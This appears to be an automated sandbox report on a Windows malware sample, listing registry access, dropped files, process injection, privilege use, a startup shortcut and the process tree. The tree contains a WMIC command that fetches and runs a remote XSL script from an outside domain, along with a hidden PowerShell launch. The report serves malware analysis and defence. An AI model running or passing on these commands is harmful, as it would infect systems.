Resubmissions
13-11-2019 07:33
191113-s6xvalyd5a 012-11-2019 15:34
191112-9te2mt6rbs 004-11-2019 16:22
191104-pvpshym7va 0Analysis
-
max time kernel
113s -
max time network
121s -
resource
win7v191014
General
-
Target
test.zip
-
Sample
191113-s6xvalyd5a
-
SHA256
72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5
Score
N/A
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1092 msiexec.exe 2068 powershell.exe 2456 wmplayer.exe -
Uses Task Scheduler COM API 1 TTPs 18 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49} 2068 powershell.exe Key opened \Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} 2068 powershell.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} 2068 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs 2068 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\Progid 2068 powershell.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ProgID 2068 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ProgID\ 2068 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ 2068 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32 2068 powershell.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32 2068 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\InprocServer32 2068 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\ 2068 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\ThreadingModel 2068 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler32 2068 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler 2068 powershell.exe Key opened \Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32 2068 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\Class 2068 powershell.exe Key opened \Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LocalServer32 2068 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1868 conhost.exe 2076 conhost.exe -
Loads dropped DLL 5 IoCs
pid Process 1832 MsiExec.exe 2436 nvsmartmaxapp.exe 2456 wmplayer.exe 2640 gup.exe 2664 iexplore.exe -
Discovering connected drives 3 TTPs 1 IoCs
description ioc pid Process File opened (read-only) \??\C: 1440 msiexec.exe -
Drops file in system dir 23 IoCs
description ioc pid Process File created C:\Windows\Installer\5d5b.msi 1092 msiexec.exe File opened for modification C:\Windows\Installer\5d5b.msi 1092 msiexec.exe File created (read-only) C:\Windows\Installer\MSI6FB2.tmp 1092 msiexec.exe File opened for modification C:\Windows\Installer\MSI6FB2.tmp 1092 msiexec.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk 2068 powershell.exe File deleted C:\Windows\Installer\MSI6FB2.tmp 1092 msiexec.exe File created (read-only) C:\Windows\Installer\MSI7CCE.tmp 1092 msiexec.exe File opened for modification C:\Windows\Installer\MSI7CCE.tmp 1092 msiexec.exe File deleted C:\Windows\Installer\MSI7CCE.tmp 1092 msiexec.exe File created (read-only) C:\Windows\Installer\MSI8132.tmp 1092 msiexec.exe File opened for modification C:\Windows\Installer\MSI8132.tmp 1092 msiexec.exe File deleted C:\Windows\Installer\MSI8132.tmp 1092 msiexec.exe File created (read-only) C:\Windows\Installer\MSI86DE.tmp 1092 msiexec.exe File opened for modification C:\Windows\Installer\MSI86DE.tmp 1092 msiexec.exe File deleted C:\Windows\Installer\MSI86DE.tmp 1092 msiexec.exe File created C:\Windows\Installer\5d5d.ipi 1092 msiexec.exe File opened for modification C:\Windows\Installer\ 1092 msiexec.exe File deleted C:\Windows\Installer\5d5d.ipi 1092 msiexec.exe File created (read-only) C:\Windows\Installer\MSI8D64.tmp 1092 msiexec.exe File opened for modification C:\Windows\Installer\MSI8D64.tmp 1092 msiexec.exe File deleted C:\Windows\Installer\MSI8D64.tmp 1092 msiexec.exe File opened for modification C:\Windows\Installer\5d5d.ipi 1092 msiexec.exe File deleted C:\Windows\Installer\5d5b.msi 1092 msiexec.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1092 wrote to memory of 1900 1092 msiexec.exe 28 PID 1900 wrote to memory of 1408 1900 MsiExec.exe 30 PID 1092 wrote to memory of 1832 1092 msiexec.exe 32 PID 1408 wrote to memory of 2068 1408 WMIC.exe 34 PID 1832 wrote to memory of 2196 1832 MsiExec.exe 36 PID 2068 wrote to memory of 2436 2068 powershell.exe 38 PID 2436 wrote to memory of 2456 2436 nvsmartmaxapp.exe 39 PID 2608 wrote to memory of 2640 2608 taskeng.exe 41 PID 2640 wrote to memory of 2664 2640 gup.exe 42 -
Executes dropped EXE 3 IoCs
pid Process 2196 lc815F.tmp 2436 nvsmartmaxapp.exe 2640 gup.exe -
Uses Volume Shadow Copy WMI provider 1 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{890CB943-D715-401B-98B1-CF82DCF36D7C}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49} 2068 powershell.exe -
Uses Volume Shadow Copy Service COM API 1 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{E579AB5F-1CC4-44b4-BED9-DE0991FF0623}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49} 2068 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1440 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 54 IoCs
description pid Process Token: SeShutdownPrivilege 1440 msiexec.exe Token: SeIncreaseQuotaPrivilege 1440 msiexec.exe Token: SeRestorePrivilege 1092 msiexec.exe Token: SeTakeOwnershipPrivilege 1092 msiexec.exe Token: SeSecurityPrivilege 1092 msiexec.exe Token: SeCreateTokenPrivilege 1440 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1440 msiexec.exe Token: SeLockMemoryPrivilege 1440 msiexec.exe Token: SeMachineAccountPrivilege 1440 msiexec.exe Token: SeTcbPrivilege 1440 msiexec.exe Token: SeSecurityPrivilege 1440 msiexec.exe Token: SeTakeOwnershipPrivilege 1440 msiexec.exe Token: SeLoadDriverPrivilege 1440 msiexec.exe Token: SeSystemProfilePrivilege 1440 msiexec.exe Token: SeSystemtimePrivilege 1440 msiexec.exe Token: SeProfSingleProcessPrivilege 1440 msiexec.exe Token: SeIncBasePriorityPrivilege 1440 msiexec.exe Token: SeCreatePagefilePrivilege 1440 msiexec.exe Token: SeCreatePermanentPrivilege 1440 msiexec.exe Token: SeBackupPrivilege 1440 msiexec.exe Token: SeRestorePrivilege 1440 msiexec.exe Token: SeDebugPrivilege 1440 msiexec.exe Token: SeAuditPrivilege 1440 msiexec.exe Token: SeSystemEnvironmentPrivilege 1440 msiexec.exe Token: SeChangeNotifyPrivilege 1440 msiexec.exe Token: SeRemoteShutdownPrivilege 1440 msiexec.exe Token: SeUndockPrivilege 1440 msiexec.exe Token: SeSyncAgentPrivilege 1440 msiexec.exe Token: SeEnableDelegationPrivilege 1440 msiexec.exe Token: SeManageVolumePrivilege 1440 msiexec.exe Token: SeImpersonatePrivilege 1440 msiexec.exe Token: SeCreateGlobalPrivilege 1440 msiexec.exe Token: SeIncreaseQuotaPrivilege 1408 WMIC.exe Token: SeSecurityPrivilege 1408 WMIC.exe Token: SeTakeOwnershipPrivilege 1408 WMIC.exe Token: SeLoadDriverPrivilege 1408 WMIC.exe Token: SeSystemProfilePrivilege 1408 WMIC.exe Token: SeSystemtimePrivilege 1408 WMIC.exe Token: SeProfSingleProcessPrivilege 1408 WMIC.exe Token: SeIncBasePriorityPrivilege 1408 WMIC.exe Token: SeCreatePagefilePrivilege 1408 WMIC.exe Token: SeBackupPrivilege 1408 WMIC.exe Token: SeRestorePrivilege 1408 WMIC.exe Token: SeShutdownPrivilege 1408 WMIC.exe Token: SeDebugPrivilege 1408 WMIC.exe Token: SeSystemEnvironmentPrivilege 1408 WMIC.exe Token: SeRemoteShutdownPrivilege 1408 WMIC.exe Token: SeUndockPrivilege 1408 WMIC.exe Token: SeManageVolumePrivilege 1408 WMIC.exe Token: 33 1408 WMIC.exe Token: 34 1408 WMIC.exe Token: 35 1408 WMIC.exe Token: SeDebugPrivilege 2068 powershell.exe Token: SeDebugPrivilege 2456 wmplayer.exe -
Drops startup file 1 IoCs
description ioc pid Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nvsmartmaxapp.lnk 2068 powershell.exe
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\91B5DB3C0CCBD68BD04C24571E27F99D.msi1⤵
- Discovering connected drives
- Suspicious use of FindShellTrayWindow
- Suspicious use of AdjustPrivilegeToken
PID:1440
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious behavior: EnumeratesProcesses
- Drops file in system dir
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1092
-
C:\Windows\system32\MsiExec.exeC:\Windows\system32\MsiExec.exe -Embedding 5E3227A19605220E5186D9912EDC7DB21⤵
- Suspicious use of WriteProcessMemory
PID:1900
-
C:\Windows\System32\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1408
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-371149877153113590519141328335344489392592268871093106461-6052991441860297665"1⤵
- Suspicious use of SetWindowsHookEx
PID:1868
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C963818129A4BB594929C274CEE1BC501⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1832
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden1⤵
- Suspicious behavior: EnumeratesProcesses
- Uses Task Scheduler COM API
- Drops file in system dir
- Suspicious use of WriteProcessMemory
- Uses Volume Shadow Copy WMI provider
- Uses Volume Shadow Copy Service COM API
- Suspicious use of AdjustPrivilegeToken
- Drops startup file
PID:2068
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-789858890-18778572872138973017121338278-555810284-794943520-623910661475340320"1⤵
- Suspicious use of SetWindowsHookEx
PID:2076
-
C:\Users\Admin\AppData\Local\Temp\lc815F.tmp"C:\Users\Admin\AppData\Local\Temp\lc815F.tmp"1⤵
- Executes dropped EXE
PID:2196
-
C:\Users\Admin\AppData\Roaming\XEcdt\nvsmartmaxapp.exe"C:\Users\Admin\AppData\Roaming\XEcdt\nvsmartmaxapp.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2436
-
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2456
-
C:\Windows\system32\taskeng.exetaskeng.exe {ECCABB4A-4F71-4F4A-ABB0-9F224DC46EF0} S-1-5-21-1774239815-1814403401-2200974991-1000:JUEOVPOM\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2608
-
C:\Users\Admin\AppData\Roaming\XEcdt\gup.exeC:\Users\Admin\AppData\Roaming\XEcdt\gup.exe1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2640
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe"1⤵
- Loads dropped DLL
PID:2664